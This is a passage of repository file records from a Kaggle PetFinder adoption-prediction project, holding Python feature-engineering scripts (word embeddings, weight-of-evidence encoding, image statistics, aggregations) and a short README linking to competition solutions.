for sentence in tqdm(sentences):\n tokens = self.tokenize(sentence)\n if len(tokens) > self.window_size * 2 + 1:\n for n in self.ngram:\n self._make_context_vectors(tokens, n)\n\n # remove low frequency token\n for word, freq in self.target_counts.items():\n if freq < self.min_count and word in self.vocab:\n self.vocab.remove(word)\n\n # compute context-to-feature transform\n X_all = np.array([v / self.target_counts[k] for k, v in self.c2v.items() if k in self.vocab])\n\n X = np.array([v / self.target_counts[k] for k, v in self.c2v.items() if k in self.w2v.vocab])\n y = np.array([self.w2v[k] for k, v in self.c2v.items() if k in self.w2v.vocab])\n self.A = LinearRegression(fit_intercept=False).fit(X, y).coef_.astype(np.float32) # emb x emb\n\n # set a la carte embedding\n self.alacarte = normalize(X_all.dot(self.A.T))\n self.alacarte_vocab = [v for v in self.c2v.keys() if v in self.vocab]\n self.alacarte_dic = {}\n for key, value in zip(self.alacarte_vocab, self.alacarte):\n self.alacarte_dic[key] = value\n\n def save(self, path):\n with open(path, \"w\") as f:\n f.write(f\"{len(self.alacarte_vocab)} {self.embedding_dim}\\n\")\n for arr, word in zip(alc.alacarte, alc.alacarte_vocab):\n f.write(\" \".join([\"\".join(word)] + [str(np.round(s, 6)) for s in arr.tolist()]) + \"\\n\")\n\n\ndef a_la_carte_w2v(train_text, embedding, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n w2v = KeyedVectors.load_word2vec_format(embedding, binary=True)\n alc = ALaCarteEmbedding(word2vec=w2v,\n tokenize=text_to_word_sequence,\n min_count=10,\n ngram=[1, 2])\n alc.build(train_text)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n vec = np.zeros(w2v.vector_size)\n for n_w, word in enumerate(text):\n try:\n vec_ = np.array(alc.alacarte_dic[word])\n except:\n n_skip += 1\n continue\n if n_w - n_skip == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, w2v.vector_size + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n del w2v;\n gc.collect()\n\n return result\n\n\nembedding = '../../input/quora-embedding/GoogleNews-vectors-negative300.bin'\nX = a_la_carte_w2v(train[\"Description\"], embedding, name=\"a_la_carte\")" }, { "alpha_fraction": 0.6341153979301453, "alphanum_fraction": 0.637920081615448, "avg_line_length": 38.45000076293945, "blob_id": "1d4ba72ea8d92c1b663b4c0d6151267db84a8ea1", "content_id": "1ff55b7382a34e68c5cf88f5f579091d0da51bf0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1577, "license_type": "permissive", "max_line_length": 106, "num_lines": 40, "path": "/code/fe/28image_stats.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from PIL import Image\nfrom utils import *\n\n\ndef getSize(filename):\n st = os.stat(filename)\n return st.st_size\n\ndef getDimensions(filename):\n img_size = Image.open(filename).size\n return img_size\n\n\nwith timer('image'):\n train_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n\nwith timer('img_basic'):\n train_images['image_size'] = train_images['image_filename'].apply(getSize)\n train_images['temp_size'] = train_images['image_filename'].apply(getDimensions)\n train_images['width'] = train_images['temp_size'].apply(lambda x : x[0])\n train_images['height'] = train_images['temp_size'].apply(lambda x : x[1])\n train_images = train_images.drop(['temp_size'], axis=1)\n\n aggs = {\n 'image_size': ['sum', 'mean', 'var'],\n 'width': ['sum', 'mean', 'var'],\n 'height': ['sum', 'mean', 'var'],\n }\n\n gp = train_images.groupby('PetID').agg(aggs)\n new_columns = [k + '_' + agg for k in aggs.keys() for agg in aggs[k]]\n gp.columns = new_columns\n gp = gp.reset_index()\n new_cols = list(gp.drop(\"PetID\", axis=1).columns)\n train = train.merge(gp, how=\"left\", on=\"PetID\")\n train[new_cols].to_feather(\"../feature/image_stats.feather\")" }, { "alpha_fraction": 0.5753723382949829, "alphanum_fraction": 0.5819106698036194, "avg_line_length": 35.23684310913086, "blob_id": "15bd73056eaf839995ffe74a09d3cd374fc539a4", "content_id": "f898667802e05b977204ae9c2b3bfffb6092a498", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2753, "license_type": "permissive", "max_line_length": 108, "num_lines": 76, "path": "/code/fe/39woe.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nnum_agg = {\"AdoptionSpeed\": [\"sum\", \"count\"]}\n\n\ndef make_oof_woe(tr, te, num_folds, new_col):\n folds = GroupKFold(n_splits=num_folds)\n for n_fold, (train_idx, valid_idx) in enumerate(folds.split(range(len(tr)), y=None, groups=rescuer_id)):\n tr_tr = tr.iloc[train_idx]\n tr_te = tr.iloc[valid_idx]\n\n agg = tr_tr.groupby(new_col).agg({**num_agg})\n agg.columns = pd.Index([e[0] + \"_\" + e[1].upper() + \"_\" + new_col for e in agg.columns.tolist()])\n sum_col = [c for c in agg.columns if \"SUM\" in c]\n count_col = [c.replace(\"SUM\", \"COUNT\") for c in sum_col]\n\n event = agg[sum_col].values\n nonevent = agg[count_col].values - agg[sum_col].values\n dist_event = event / event.sum(axis=0)\n dist_nonevent = nonevent / nonevent.sum(axis=0)\n woe_col = [c.replace(\"SUM\", \"WOE\") for c in sum_col]\n feats = pd.DataFrame(np.log(dist_event / dist_nonevent),\n columns=woe_col)\n agg = pd.concat((agg.reset_index(), feats), axis=1)\n\n tr_te = pd.merge(tr_te, agg, how=\"left\", on=new_col)\n if n_fold == 0:\n tt_likeli_ = tr_te[[\"PetID\"] + woe_col]\n else:\n tt_likeli_ = pd.concat((tt_likeli_, tr_te[[\"PetID\"] + woe_col]), axis=0)\n\n agg = tr.groupby(new_col).agg({**num_agg})\n agg.columns = pd.Index([e[0] + \"_\" + e[1].upper() + \"_\" + new_col for e in agg.columns.tolist()])\n sum_col = [c for c in agg.columns if \"SUM\" in c]\n count_col = [c.replace(\"SUM\", \"COUNT\") for c in sum_col]\n\n event = agg[sum_col].values\n nonevent = agg[count_col].values - agg[sum_col].values\n dist_event = event / event.sum(axis=0)\n dist_nonevent = nonevent / nonevent.sum(axis=0)\n woe_col = [c.replace(\"SUM\", \"WOE\") for c in sum_col]\n feats = pd.DataFrame(np.log(dist_event / dist_nonevent),\n columns=woe_col)\n agg = pd.concat((agg.reset_index(), feats), axis=1)\n\n te = te.merge(agg.reset_index(), how=\"left\", on=new_col)\n\n return tt_likeli_.reset_index(drop=True).append(te[[\"PetID\"] + woe_col]).reset_index(drop=True)\n\ncategorical_features = [\n 'Breed1',\n 'Breed2',\n 'Color1',\n 'Color2',\n 'Color3',\n 'Dewormed',\n 'FurLength',\n 'Gender',\n 'Health',\n 'MaturitySize',\n 'State',\n 'Sterilized',\n 'Vaccinated'\n]\n\ntest = train[len_train:]\ntrain = train[:len_train]\nrescuer_id = train[\"RescuerID\"].values[:len_train]\n\norig_cols = train.columns\nfor c in categorical_features:\n woe = make_oof_woe(train, test, num_folds=5, new_col=c)\n train = pd.merge(train, woe, how=\"left\", on=\"PetID\")\nnew_cols = [c for c in train.columns if c not in orig_cols]\n\ntrain[new_cols].to_feather(\"../feature/woe.feather\")" }, { "alpha_fraction": 0.6606606841087341, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 36.11111068725586, "blob_id": "5d71ad2e3d8b6cf5db3388326d60e5e242b28f1f", "content_id": "de34468a823a1ca52fb573ca1e8daf41389b9511", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 333, "license_type": "permissive", "max_line_length": 110, "num_lines": 9, "path": "/code/fe/58muslim.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom utils import *\n\ndf = pd.read_csv(\"../feature/state_labels_with_muslim.csv\")\ncols = df.columns.drop([\"StateID\", \"StateName\"])\nfor c in cols:\n df[c] = df[c].str.replace(\",\", \"\").astype(\"float32\")\n\ntrain.merge(df, how=\"left\", left_on=\"State\", right_on=\"StateID\")[cols].to_feather(\"../feature/muslim.feather\")" }, { "alpha_fraction": 0.6764252781867981, "alphanum_fraction": 0.6795069575309753, "avg_line_length": 50.900001525878906, "blob_id": "5aa437c22e22671b5229bd1ed56085a995721065", "content_id": "1893478354d0a77336cfb46c1607a9acdd6ea40f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2596, "license_type": "permissive", "max_line_length": 114, "num_lines": 50, "path": "/code/fe/45quora_fasttext.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nwith timer('merge additional files'):\n train = merge_breed_name(train)\n\nwith timer('metadata'):\n # TODO: parallelization\n meta_parser = MetaDataParser()\n sentiment_features = meta_parser.sentiment_files['sentiment_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=True))\n meta_parser.sentiment_files = pd.concat([meta_parser.sentiment_files, sentiment_features], axis=1, sort=False)\n meta_features = meta_parser.metadata_files['metadata_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=False))\n meta_parser.metadata_files = pd.concat([meta_parser.metadata_files, meta_features], axis=1, sort=False)\n\n stats = ['mean', 'min', 'max', 'median']\n columns = [c for c in sentiment_features.columns if c != 'sentiment_text']\n g = meta_parser.sentiment_files[list(sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\n columns = [c for c in meta_features.columns if c != 'annots_top_desc']\n g = meta_parser.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\nwith timer('metadata, annots_top_desc'):\n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc']]\n meta_features = meta_features.groupby('PetID')['annots_top_desc'].sum().reset_index()\n train = train.merge(meta_features, how='left', on='PetID')\n\n sentiment_features = meta_parser.sentiment_files[['PetID', 'sentiment_text']]\n sentiment_features = sentiment_features.groupby('PetID')['sentiment_text'].sum().reset_index()\n train = train.merge(sentiment_features, how='left', on='PetID')\n\n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentiment_text']:\n train['desc'] += ' ' + train[c].astype(str)\n\n\nwith timer('quora fasttext meta'):\n embedding = \"../../input/quora-embedding/GoogleNews-vectors-negative300.bin\"\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n X = pretrained_w2v(train[\"Description_Emb\"], model, name=\"quora_fasttext\")\n X.to_feather(\"../feature/quora_fasttext.feather\")\n\nwith timer('quora fasttext meta'):\n train[\"desc_emb\"] = [analyzer_embed(text) for text in train[\"desc\"]]\n X_meta = pretrained_w2v(train[\"desc_emb\"], model, name=\"quora_fasttext_meta\")\n X_meta.to_feather(\"../feature/quora_fasttext_meta.feather\")\n\n" }, { "alpha_fraction": 0.6118217706680298, "alphanum_fraction": 0.6224084496498108, "avg_line_length": 42.58654022216797, "blob_id": "7e9ed2223bac0a4ab51c71440fc9931abb9074bd", "content_id": "798782cd64dd5a8a8398604594b2394c01065957", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4534, "license_type": "permissive", "max_line_length": 114, "num_lines": 104, "path": "/code/fe/47magnitude.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\ndef w2v_pymagnitude(train_text, model, name):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n result = []\n for text in train_corpus:\n vec = np.zeros(model.dim)\n for n_w, word in enumerate(text):\n if word in model: # 0.9906\n vec = vec + model.query(word)\n continue\n word_ = word.upper()\n if word_ in model: # 0.9909\n vec = vec + model.query(word_)\n continue\n word_ = word.capitalize()\n if word_ in model: # 0.9925\n vec = vec + model.query(word_)\n continue\n word_ = ps.stem(word)\n if word_ in model: # 0.9927\n vec = vec + model.query(word_)\n continue\n word_ = lc.stem(word)\n if word_ in model: # 0.9932\n vec = vec + model.query(word_)\n continue\n word_ = sb.stem(word)\n if word_ in model: # 0.9933\n vec = vec + model.query(word_)\n continue\n vec = vec + model.query(word)\n\n vec = vec / (n_w + 1)\n result.append(vec)\n\n w2v_cols = [\"{}_{}\".format(name, i) for i in range(1, model.dim + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n del model;\n gc.collect()\n\n return result\n\nwith timer('quora fasttext meta'):\n embedding = \"/mnt/embedding/GoogleNews-vectors-negative300_light.magnitude\"\n model = Magnitude(embedding)\n X = w2v_pymagnitude(train[\"Description_Emb\"], model, name=\"googlenews_mag_light\")\n X.to_feather(\"../feature/googlenews_mag_light.feather\")\n\nwith timer('quora fasttext meta'):\n train[\"desc_emb\"] = [analyzer_embed(text) for text in train[\"desc\"]]\n X_meta = w2v_pymagnitude(train[\"desc_emb\"], model, name=\"googlenews_mag_ligh_tmeta\")\n X_meta.to_feather(\"../feature/googlenews_mag_ligh_tmeta.feather\")\n\nwith timer('quora fasttext meta'):\n embedding = \"/mnt/embedding/GoogleNews-vectors-negative300_medium.magnitude\"\n model = Magnitude(embedding)\n X = w2v_pymagnitude(train[\"Description_Emb\"], model, name=\"googlenews_mag_medium\")\n X.to_feather(\"../feature/googlenews_mag_medium.feather\")\n\nwith timer('quora fasttext meta'):\n #train[\"desc_emb\"] = [analyzer_embed(text) for text in train[\"desc\"]]\n X_meta = w2v_pymagnitude(train[\"desc_emb\"], model, name=\"googlenews_mag_medium_meta\")\n X_meta.to_feather(\"../feature/googlenews_mag_medium_meta.feather\")\n\nwith timer('merge additional files'):\n train = merge_breed_name(train)\n\nwith timer('metadata'):\n # TODO: parallelization\n meta_parser = MetaDataParser()\n sentiment_features = meta_parser.sentiment_files['sentiment_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=True))\n meta_parser.sentiment_files = pd.concat([meta_parser.sentiment_files, sentiment_features], axis=1, sort=False)\n meta_features = meta_parser.metadata_files['metadata_filename'].apply(\n lambda x: meta_parser._transform(x, sentiment=False))\n meta_parser.metadata_files = pd.concat([meta_parser.metadata_files, meta_features], axis=1, sort=False)\n\n stats = ['mean', 'min', 'max', 'median']\n columns = [c for c in sentiment_features.columns if c != 'sentiment_text']\n g = meta_parser.sentiment_files[list(sentiment_features.columns) + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\n columns = [c for c in meta_features.columns if c != 'annots_top_desc']\n g = meta_parser.metadata_files[columns + ['PetID']].groupby('PetID').agg(stats)\n g.columns = [c + '_' + stat for c in columns for stat in stats]\n train = train.merge(g, how='left', on='PetID')\n\nwith timer('metadata, annots_top_desc'):\n meta_features = meta_parser.metadata_files[['PetID', 'annots_top_desc']]\n meta_features = meta_features.groupby('PetID')['annots_top_desc'].sum().reset_index()\n train = train.merge(meta_features, how='left', on='PetID')\n\n sentiment_features = meta_parser.sentiment_files[['PetID', 'sentiment_text']]\n sentiment_features = sentiment_features.groupby('PetID')['sentiment_text'].sum().reset_index()\n train = train.merge(sentiment_features, how='left', on='PetID')\n\n train['desc'] = ''\n for c in ['BreedName_main_breed', 'BreedName_second_breed', 'annots_top_desc', 'sentiment_text']:\n train['desc'] += ' ' + train[c].astype(str)\n\n" }, { "alpha_fraction": 0.4465206265449524, "alphanum_fraction": 0.44974225759506226, "avg_line_length": 27.759260177612305, "blob_id": "5ce3a10392923974efc780d7a95177dbe6df48ec", "content_id": "15f08508319683c45695e1c2fa4e2c34e1ed5351", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1552, "license_type": "permissive", "max_line_length": 63, "num_lines": 54, "path": "/code/fe/25agg_log.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\nwith timer('aggregation'):\n train[\"log_Fee\"] = np.log1p(train[\"Fee\"])\n train[\"log_Age\"] = np.log1p(train[\"Age\"])\n orig_cols = train.columns\n stats = ['mean', 'sum', 'median', 'min', 'max']\n groupby_dict = [\n {\n 'key': ['RescuerID'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'State'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['RescuerID', 'Type'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1', 'Breed2'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['Type', 'Breed1'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['State'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n {\n 'key': ['MaturitySize'],\n 'var': ['log_Fee', 'log_Age'],\n 'agg': stats\n },\n ]\n\n groupby = GroupbyTransformer(param_dict=groupby_dict)\n train = groupby.transform(train)\n diff = DiffGroupbyTransformer(param_dict=groupby_dict)\n train = diff.transform(train)\n ratio = RatioGroupbyTransformer(param_dict=groupby_dict)\n train = ratio.transform(train)\n new_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"../feature/agg_log.feather\")" }, { "alpha_fraction": 0.7300319671630859, "alphanum_fraction": 0.7332268357276917, "avg_line_length": 68.66666412353516, "blob_id": "d1e60f6748a525dd3c1d5e0a1a1a9bd489ee0690", "content_id": "5a2fff72c44ab1c81d0987591daa94d8888499b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "permissive", "max_line_length": 138, "num_lines": 9, "path": "/code/fe/48breed_ranking.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\nbreeds = pd.read_csv('../../input/breed-labels-with-ranks/breed_labels_with_ranks.csv')\ntrain = train.merge(breeds, how=\"left\", left_on=\"fix_Breed1\", right_on=\"BreedID\")\ntrain = train.rename(columns={\"BreedCatRank\": \"BreedCatRank_main\", \"BreedDogRank\": \"BreedDogRank_main\"})\ntrain = train.merge(breeds, how=\"left\", left_on=\"fix_Breed2\", right_on=\"BreedID\")\ntrain = train.rename(columns={\"BreedCatRank\": \"BreedCatRank_second\", \"BreedDogRank\": \"BreedDogRank_second\"})\n\ntrain[[\"BreedCatRank_main\", \"BreedDogRank_main\", \"BreedCatRank_second\", \"BreedDogRank_second\"]].to_feather(\"../feature/breedrank.feather\")" }, { "alpha_fraction": 0.5702764987945557, "alphanum_fraction": 0.6013824939727783, "avg_line_length": 31.16666603088379, "blob_id": "fbaaa04efa6fca0039803c189badbf35dcc852f5", "content_id": "b6bef585b405c613cc1bd590cd6b7c0ed013f204", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1736, "license_type": "permissive", "max_line_length": 96, "num_lines": 54, "path": "/code/fe/20gensim_googlenews_vec_finetune.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom gensim.models import KeyedVectors\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef w2v(train_text, w2v_params, embed_path):\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n\n model = KeyedVectors.load_word2vec_format(embed_path, binary=True)\n\n model2 = word2vec.Word2Vec(**w2v_params)\n model2.build_vocab(train_corpus)\n total_examples = model2.corpus_count\n model2.build_vocab([list(model.vocab.keys())], update=True)\n model2.intersect_word2vec_format(embed_path, binary=True, lockf=1.0)\n model2.train(train_corpus, total_examples=total_examples, epochs=model2.iter)\n # model2.intersect_word2vec_format(embed_path, binary=True, lockf=1.0)\n\n result = []\n for text in train_corpus:\n n_skip = 0\n for n_w, word in enumerate(text):\n try:\n vec_ = model2.wv[word]\n except:\n n_skip += 1\n continue\n if n_w - n_skip == 0:\n vec = vec_\n else:\n vec = vec + vec_\n vec = vec / (n_w - n_skip + 1)\n result.append(vec)\n\n w2v_cols = [\"gnvec_finetune{}\".format(i) for i in range(1, 300 + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n w2v_params = {\n \"size\": 300,\n \"window\": 5,\n \"max_vocab_size\": 20000,\n \"seed\": 0,\n \"min_count\": 10,\n \"workers\": 1\n }\n embed_path = '../../input/GoogleNews-vectors-negative300/GoogleNews-vectors-negative300.bin'\n result = w2v(train[\"Description\"], w2v_params, embed_path)\n result.to_feather(\"../feature/gnvec_finetune.feather\")" }, { "alpha_fraction": 0.742222249507904, "alphanum_fraction": 0.742222249507904, "avg_line_length": 36.66666793823242, "blob_id": "8e91444fc73134a3616c94486b075989917f37cc", "content_id": "2d06e213de0f7164b5daf070788d2e44d4d165ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 225, "license_type": "permissive", "max_line_length": 85, "num_lines": 6, "path": "/code/fe/13desc_features.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\norig_cols = train.columns\ntrain = get_text_features(train)\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].reset_index(drop=True).to_feather(\"../feature/desc_features.feather\")" }, { "alpha_fraction": 0.5982339978218079, "alphanum_fraction": 0.631346583366394, "avg_line_length": 29.233333587646484, "blob_id": "4c6d74cb264bfb3f31bce90051d129849ea54097", "content_id": "70e6aa003227720ba8d5fc77ba21e75fe7955d67", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 906, "license_type": "permissive", "max_line_length": 117, "num_lines": 30, "path": "/code/fe/15doc2vec.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from gensim.models.doc2vec import Doc2Vec, TaggedDocument\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom utils import *\n\n\ndef d2v(train_text, d2v_params):\n train_corpus = [TaggedDocument(words=text_to_word_sequence(text), tags=[i]) for i, text in enumerate(train_text)]\n\n model = Doc2Vec(train_corpus, **d2v_params)\n model.save(\"d2v.model\")\n\n result = [model.infer_vector(text_to_word_sequence(text)) for text in train_text]\n d2v_cols = [\"d2v{}\".format(i) for i in range(1, d2v_params[\"size\"] + 1)]\n result = pd.DataFrame(result)\n result.columns = d2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n d2v_params = {\n \"size\": 200,\n \"window\": 5,\n \"max_vocab_size\": 20000,\n \"seed\": 0,\n \"min_count\": 10,\n \"workers\": 1\n }\n result = d2v(train[\"Description\"], d2v_params)\n result.to_feather(\"../feature/d2v.feather\")" }, { "alpha_fraction": 0.6981707215309143, "alphanum_fraction": 0.8201219439506531, "avg_line_length": 28.81818199157715, "blob_id": "10b24af5acede2c5d1d436ccce2ed1401be771df", "content_id": "b08d8bfa5a42ca6bb5e8da0db6ec459e489dcb0a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 768, "license_type": "permissive", "max_line_length": 110, "num_lines": 22, "path": "/README.md", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "# pet_finder\nNN部分でgelu使ってるのと、featuretoolsで特徴作ってるパートがある。wordbatchを用いたtext特徴もあり。\nhttps://www.kaggle.com/chizhu2018/final-submit-two-10th-solution-private-0-442\n\nrankbyG\nhttps://www.kaggle.com/adityaecdrid/8th-place-solution-code\n\nbinning, log scale\nhttps://www.kaggle.com/bminixhofer/6th-place-solution-code\n\nlangdetect, chainer feature predictor[48], permute_cols augumentation[48]\nhttps://www.kaggle.com/corochann/13-th-place-solution-ensemble-of-5-models\n\n健康状態feature\nhttps://nmaviv.hatenablog.com/entry/2019/04/10/233211?_ga=2.31256056.694164543.1554903069-246099096.1554098464\n\nその他\ninteraction->画像枚数+動画数とか\n犬猫の寿命feature, no nameのcleaning\n\n## License\nMIT\n" } ]
53
nbren12/craigslist2org
https://github.com/nbren12/craigslist2org
1d8bbcd8f39ba814431bf9eea5927cb04d343f3c
15041d4760a8bbd67a17f2dee1e6fd75038af7cc
a3c90e678a7d63b52050eae2b6fddf4381537d15
refs/heads/master
2021-01-16T20:04:22.938518
2017-09-10T17:56:18
2017-09-10T17:56:18
100,198,275
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6968504190444946, "alphanum_fraction": 0.7066929340362549, "avg_line_length": 25.736841201782227, "blob_id": "b5b59321525141d8d2246cbb0e4baa000d0b51b9", "content_id": "6abab297c6ed71ae82983d546a0d3a6d13457036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 508, "license_type": "no_license", "max_line_length": 71, "num_lines": 19, "path": "/README.md", "repo_name": "nbren12/craigslist2org", "src_encoding": "UTF-8", "text": "Generate org-mode entries from a craigslist url\n\nTo install, call\n\n pip install git+https://github.com/nbren12/craigslist2org\n\nand add the following to your .emacs file:\n\n```elisp\n(defun craigslist-org ()\n ;; pull info from craigslist page into org-mode header\n (interactive)\n (let ((url (read-string \"Enter Craigslist URL: \")))\n (org-insert-heading-respect-content)\n (insert\n (shell-command-to-string (concat \"craigslist2org.py -n 0 \" url)))))\n\n(evil-leader/set-key \"oc\" 'craigslist-org)\n```\n" }, { "alpha_fraction": 0.6166666746139526, "alphanum_fraction": 0.6305555701255798, "avg_line_length": 23, "blob_id": "72527cec58ca5d056b09e87959bd76edcb8e5141", "content_id": "e6fd29512c1b8bc92383405eb616edc0c578df07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 360, "license_type": "no_license", "max_line_length": 56, "num_lines": 15, "path": "/setup.py", "repo_name": "nbren12/craigslist2org", "src_encoding": "UTF-8", "text": "from distutils.core import setup\n\ninstall_requires = [\n 'docopt',\n 'lxml',\n 'beautifulsoup4',\n 'requests']\n\nsetup(name='craigslist2org',\n version='0.0',\n description='Craigslist to Emacs org-mode parser',\n author='Noah Brenowitz',\n author_email='[email protected]',\n scripts = ['craigslist2org.py'],\n install_requires=install_requires)\n" }, { "alpha_fraction": 0.8611111044883728, "alphanum_fraction": 0.8888888955116272, "avg_line_length": 8, "blob_id": "26727dd7190e91a9fa72cb99f59358b419ae8156", "content_id": "538209dd90d453e1d10841f89e000b74e77f36c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 36, "license_type": "no_license", "max_line_length": 14, "num_lines": 4, "path": "/requirements.txt", "repo_name": "nbren12/craigslist2org", "src_encoding": "UTF-8", "text": "beautifulsoup4\nrequests\ndocopt\nlxml\n" }, { "alpha_fraction": 0.5968921184539795, "alphanum_fraction": 0.6206581592559814, "avg_line_length": 23.863636016845703, "blob_id": "a81b9766a40215ab50023b32d48840912668cdb9", "content_id": "ffad95548271a585db3e7a1d70ca1ce9780eb00d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2188, "license_type": "no_license", "max_line_length": 100, "num_lines": 88, "path": "/craigslist2org.py", "repo_name": "nbren12/craigslist2org", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"Generate org-mode entry from craigslist url\n\nUsage: craigslist2org.py [-n N] <url>\n\n -n N Header level [default: 0]\n\n\nNotes:\n\nAdd this to your emacs dotfile to capture the output of this command\n\n (defun craigslist-org ()\n ;; pull info from craigslist page into org-mode header\n (interactive)\n (let ((url (read-string \"Enter Craigslist URL: \")))\n (org-insert-heading-respect-content)\n (insert\n (shell-command-to-string (concat \"craigslist2org.py -n 0 \" url)))))\n\n (evil-leader/set-key \"oc\" 'craigslist-org)\n\"\"\"\nimport requests\nfrom bs4 import BeautifulSoup\nfrom docopt import docopt\n\n\ndef parse_craiglist(html_doc):\n soup = BeautifulSoup(html_doc, \"lxml\")\n\n price = soup.find_all(class_='postingtitletext')[0]\\\n .find_all(class_='price')[0].string\n\n date = soup.find_all(id='display-date')[0]\\\n .find_all('time')[0]['datetime']\n title = soup.find_all(id='titletextonly')[0].string\n\n return dict(title=title, price=price, posted_date=date)\n\n\ndef prepare_org(data, header_level=1):\n if header_level > 0:\n headline = f\"{'*'*header_level} [[{data.get('url','')}][{data['title']} - {data['price']}]]\"\n else:\n headline = f\"[[{data.get('url','')}][{data['title']} - {data['price']}]]\"\n return f\"\"\"{headline}\n:PROPERTIES:\n:URL: {data.get('url', '')}\n:PRICE: {data['price']}\n:POSTED: {data['posted_date']}\n:END:\n\"\"\"\n\n\ndef test_parse_craigslist():\n filename = \"6260272864.html\"\n webdata = open(filename).read()\n data = parse_craiglist(webdata)\n\n assert data['title'] == \"tv table/bookcase/entertainment console\"\n assert data['price'] == \"$20\"\n assert data['posted_date'] == \"2017-08-11T15:46:28-0700\"\n\n\ndef test_prepare_org():\n filename = \"6260272864.html\"\n webdata = open(filename).read()\n data = parse_craiglist(webdata)\n\n print(prepare_org(data))\n\n\ndef main():\n args = docopt(__doc__)\n\n url = args['<url>']\n\n html_doc = requests.get(url).text\n data = parse_craiglist(html_doc)\n data['url'] = url\n\n org_string = prepare_org(data, header_level=int(args['-n']))\n print(org_string)\n\n\n\nif __name__ == '__main__':\n main()\n" } ]
4
anantmoudgalya/VTU-Results-Crawler-Selenium
https://github.com/anantmoudgalya/VTU-Results-Crawler-Selenium
9c308aa32aed4858fee19d95df63e3d662b7650b
